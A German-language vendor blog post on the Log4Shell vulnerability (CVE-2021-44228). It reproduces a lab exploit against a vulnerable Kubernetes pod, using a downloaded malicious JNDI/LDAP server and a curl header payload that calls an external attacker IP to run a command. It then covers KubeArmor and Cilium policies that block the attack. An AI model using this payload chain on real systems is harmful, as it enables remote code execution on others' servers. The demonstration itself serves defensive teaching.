
Apache Log4j Zero-Day-Sicherheitslücke, auch bekannt als Log4Shell, CVE-2021-44228
Am 9. Dezember 2021 wurde die Welt auf eine neue Sicherheitslücke aufmerksam, die als CVE-2021-44228 identifiziert wurde und das Apache-Java-Logging-Paket log4j betrifft. Diese Sicherheitslücke erhielt einen Schweregrad Score von 10.0 (die kritischste Einstufung) und ermöglicht eine triviale Remote-Codeausführung auf Hosts, die mit Software interagieren, die diese log4j-Version verwendet. „Log4Shell“ ist der Name, der diesem Angriff gegeben wurde.
Heute ist log4j Version 2.15.0rc2 verfügbar und schließt diese Sicherheitslücke. Die enorme Gefahr dieser Sicherheitslücke liegt jedoch darin, wie allgegenwärtig das Logging-Paket ist. Millionen von Anwendungen sowie Softwareanbieter verwenden dieses Paket als Abhängigkeit in ihrem eigenen Code.
Früheste bekannte Erkennung: 2021-12-01 04:36:50 UTC

Betroffene Versionen:
Wer ist betroffen?
Auswirkung: Beliebige Codeausführung als der Benutzer, unter dem der übergeordnete Prozess läuft (Code aus dem öffentlichen Internet abgerufen, oder bereits auf dem System vorhandene lolbins, oder nur gemeinsame Geheimnisse oder Umgebungsvariablen abrufen und an den Angreifer zurücksenden).
Ziele: Server und Clients, die Java ausführen und mit dem log4j-Framework etwas protokollieren – hauptsächlich ein serverseitiges Problem, aber jeder anfällige Endpunkt könnte ein Ziel oder ein Drehpunkt sein.
Downstream-Projekte: Bis zum Beweis des Gegenteils ist davon auszugehen, dass alles, was log4j enthält – einschließlich Elasticsearch, Apache Struts / Solr / Druid / Flink usw. – auf eine Weise betroffen ist, die eine Eindämmung erfordert.
Betroffene Versionen: log4j 2.x bestätigt – log4j 1.x nur indirekt (frühere Sicherheitslücken zur Offenlegung von Informationen) (in einigen Konfigurationen)
Appliances: Vergessen Sie nicht Appliances, die möglicherweise Java-Serverkomponenten verwenden, aber durch nicht authentifizierte Schwachstellenscans nicht erkannt werden.
Log-Weiterleitung: Die Logging-Infrastruktur hat oft viele „nordwärts“ (sende meine Protokolle an jemanden) und „südwärts“ (empfange Protokolle von jemandem) weiterleitende/relayende Topologien. Auch deren Verkettung zur Ausnutzung muss berücksichtigt werden.
Cloud: Mehrere große Anbieter ebenfalls betroffen (Eine gemeinschaftlich kuratierte Liste von Software und Diensten, die für CVE-2021-44228 anfällig sind, finden Sie in diesem GitHub-Repo.

Schritt #1: Bereitstellen eines Pods mit zugehörigen Diensten, die anfällig für Log4j in Kubernetes sind
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Bitte beachten Sie, dass wir die anfällige Log4Shell-Beispielanwendung im Namespace
defaultbereitgestellt haben.
Schritt #2: Herunterladen des bösartigen LDAP-Servers
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Schritt #3: Starten des LDAP-Servers für eingehenden Datenverkehr auf Ihrem PC oder Ihrer Cloud-VM
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
Die private IP kann mit
hostname -Iabgefragt werden.
Stellen Sie sicher, dass Ihre Firewall Datenverkehr für die Ports1389und8888zulässt.
Schritt #4: Ausnutzung mit cURL-Befehl
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hier ist die erste IP unsere k8s-externe IP (Schritt #1), auf der die anfällige Beispielanwendung läuft.
Die zweite IP ist die externe IP des bösartigen LDAP-Servers (Schritt #2).
Schritt #5: Bestätigung durch Überprüfung der Erstellung der Datei /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Ersetzen Sie
log4j-demo-5d7c84d8b9-vs8ckdurch Ihren Pod aus der Ausgabe von Schritt #1.
Sie sollten eine Datei mit dem Namenpwnedim Verzeichnis/tmpsehen können.
KubeArmor ist eine Runtime-Sicherheitsplattform, die Sicherheits-/DevSecOps-Teams dabei helfen kann, ihre Workloads mithilfe von anwendungs-/systembasierten Kontrollen (wie Einschränkung der Prozesserzeugung, Einschränkung des Dateisystemzugriffs, Einschränkung der Pod-Fähigkeiten usw.) zu schützen. KubeArmor hat einen Sichtbarkeitsmodus, mit dem das Anwendungs-/Sicherheitsteam die Sichtbarkeit aktivieren kann, um herauszufinden, was innerhalb der Pods passiert, d.h., welche Prozesse erzeugt werden, welche Dateizugriffe versucht werden usw. Der größte Vorteil von KubeArmor ist, dass Sie als Benutzer auch Richtlinien einreichen können, die solche Systemoperationen verhindern/blockieren/verweigern können.
Typischerweise dringt ein Angreifer mit der Absicht ein, entweder interne Daten zu exfiltrieren oder Kryptomining zu betreiben oder einfach Chaos in den internen Apps anzurichten, um sie unverfügbar zu machen. In all diesen Fällen muss der Angreifer ein beliebiges Programm ausführen, das seine böswillige Absicht erfüllen kann. Die Log4j-Sicherheitslücke erlaubt es dem Angreifer, eine Binärdatei im internen Netzwerk zu platzieren. Es können jedoch Schutzvorrichtungen angebracht werden, um der JVM nicht zu erlauben, Prozesse zu erzeugen.
Im Folgenden finden Sie eine KubeArmor-Richtlinie, die verhindern/unterbinden kann, dass Prozesse im Pod als untergeordnete Prozesse der Java-Anwendung erzeugt werden.
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
Beachten Sie, dass die Aktion hier Block ist. Beachten Sie auch die Bedingung fromSource, die besagt, dass nur die Ausführungen von dem angegebenen Prozess nicht erlaubt werden sollen. Im Wesentlichen werden nur die untergeordneten Prozesse von Java/JVM an der Ausführung gehindert. Im Gegensatz zu anderen Tools hat KubeArmor die Fähigkeit, den Systembetrieb zur Laufzeit zu Blockieren.
In vielen Fällen gibt es möglicherweise bestimmte bestehende Prozesse, die weiterhin von Java/JVM erzeugt werden müssen. In solchen Fällen ist es am besten, solche Prozesse zu Allowen. Indem diese Prozesse erlaubt werden, verweigert KubeArmor standardmäßig die Ausführung aller anderen Prozesse als Teil dieses übergeordneten Prozesses:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
In diesem Beispiel dürfen die Prozesse myapp und log4j weiterhin vom Java-Prozess erzeugt werden, aber alle anderen Prozesse werden verweigert.
Wenn man sich die obigen Richtlinien ansieht, wird man sich natürlich fragen: Wie komme ich an die Prozessspezifikation, um sie zu erlauben/verweigern? Hier kommt der Sichtbarkeitsmodus von KubeArmor ins Spiel:
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
Das Blockieren von Prozessen, die vom JVM/Java-Prozess erzeugt werden, führt zu folgender Warnung, während der execve verweigert wird (Beachten Sie, dass KubeArmor eine Durchsetzungs-Engine ist):
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
Das Cilium-Team hat bereits seine Analyse zur Verhinderung von Exploits für log4j in der k8s-Umgebung mithilfe von Netzwerkrichtlinien veröffentlicht. Im Wesentlichen zielen die Präventionsrichtlinien darauf ab, sicherzustellen, dass die am wenigsten permissiven Richtlinien für DNS angewendet werden, sodass alles außerhalb dieses Bereichs verboten ist.
Eine Herausforderung für ein Sicherheitsteam in diesem Zusammenhang könnte darin bestehen, alle möglichen FQDNs zu ermitteln, mit denen die Pods verbunden sind. Cilium bietet umfassende Netzwerksichtbarkeit, mit der man möglicherweise die vollständige Menge der von den Pods aufgerufenen FQDNs ermitteln kann.
Zusätzlich zu diesen Richtlinien gibt es einige weitere präventive Richtlinien, die umgesetzt werden könnten.
RMI ist eine Funktionalität, die von den meisten Organisationen am wenigsten genutzt wird. Im Fall von log4j ist RMI standardmäßig aktiviert, und die meisten Organisationen kümmern sich wahrscheinlich nicht darum, ob es vollständig deaktiviert ist. Wenn Ihre Organisation diese Funktion also nicht aktiv nutzt, ist es am besten, sie vollständig zu deaktivieren. Die folgende Cilium-Richtlinie könnte verwendet werden:
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
... wobei 1099 der Standard-RMI-Port ist.
Die oben dargestellten Arten von Regeln sind im Nachhinein leicht zu erdenken.
Die offensichtliche nächste Frage ist, wie man die Möglichkeit des Missbrauchs solcher Sicherheitslücken in Zukunft verhindern kann.
Beliebige Codeausführung ist eine wichtige Angriffsart, und man muss sich darauf konzentrieren, zu definieren, was den Code „beliebig“ macht. „Beliebig“ in diesem Zusammenhang könnte als alles definiert werden, was nicht im üblichen Ausführungskontext liegt.
Die Verwendung einer Zero-Trust-Architektur (ZTNA) erfordert die Angabe eines Satzes von am wenigsten permissiven Richtlinien, die nur zugelassene Aktionen erlauben und alles andere verweigern. Daher könnte eine Zero-Trust-Haltung eine Organisation effektiv vor den Möglichkeiten solcher Angriffe schützen.
Die Erreichung von Zero Trust in der Praxis ist jedoch viel anspruchsvoller. Zero Trust erfordert, dass eine Organisation über geeignete Automatisierung, Softwarebereitstellungsprozesse in Verbindung mit den richtigen Tools verfügt. Einige Punkte zum Nachdenken könnten sein:
Eine Zero-Trust-Haltung über Netzwerk und Anwendungen/Systeme hinweg könnte wie folgt definiert werden:
KubeArmor bietet eine flexible Richtliniendurchsetzungs-Engine in Verbindung mit den richtigen Richtlinienfindungs-/Empfehlungstools, die einer Organisation genau dabei helfen, die obigen Fragen zu beantworten. Accuknox hat die Richtlinien-Engines mit grundlegenden Designprinzipien im Hinterkopf gebaut, d.h., jede Richtlinien-Engine muss Beobachtbarkeit, Prüfung (Dry-Run) und Durchsetzungsoptionen unterstützen.
Beobachtbarkeit in Verbindung mit der Richtlinienfindungs-Engine kann einer Organisation die erforderlichen Einstellungen für die am wenigsten permissiven Richtlinien liefern.

Wenn Sie die Richtlinienfindungs-Engine mit Ihren Workloads in Ihrem k8s-Cluster ausprobieren möchten, folgen Sie bitte dem Playbook.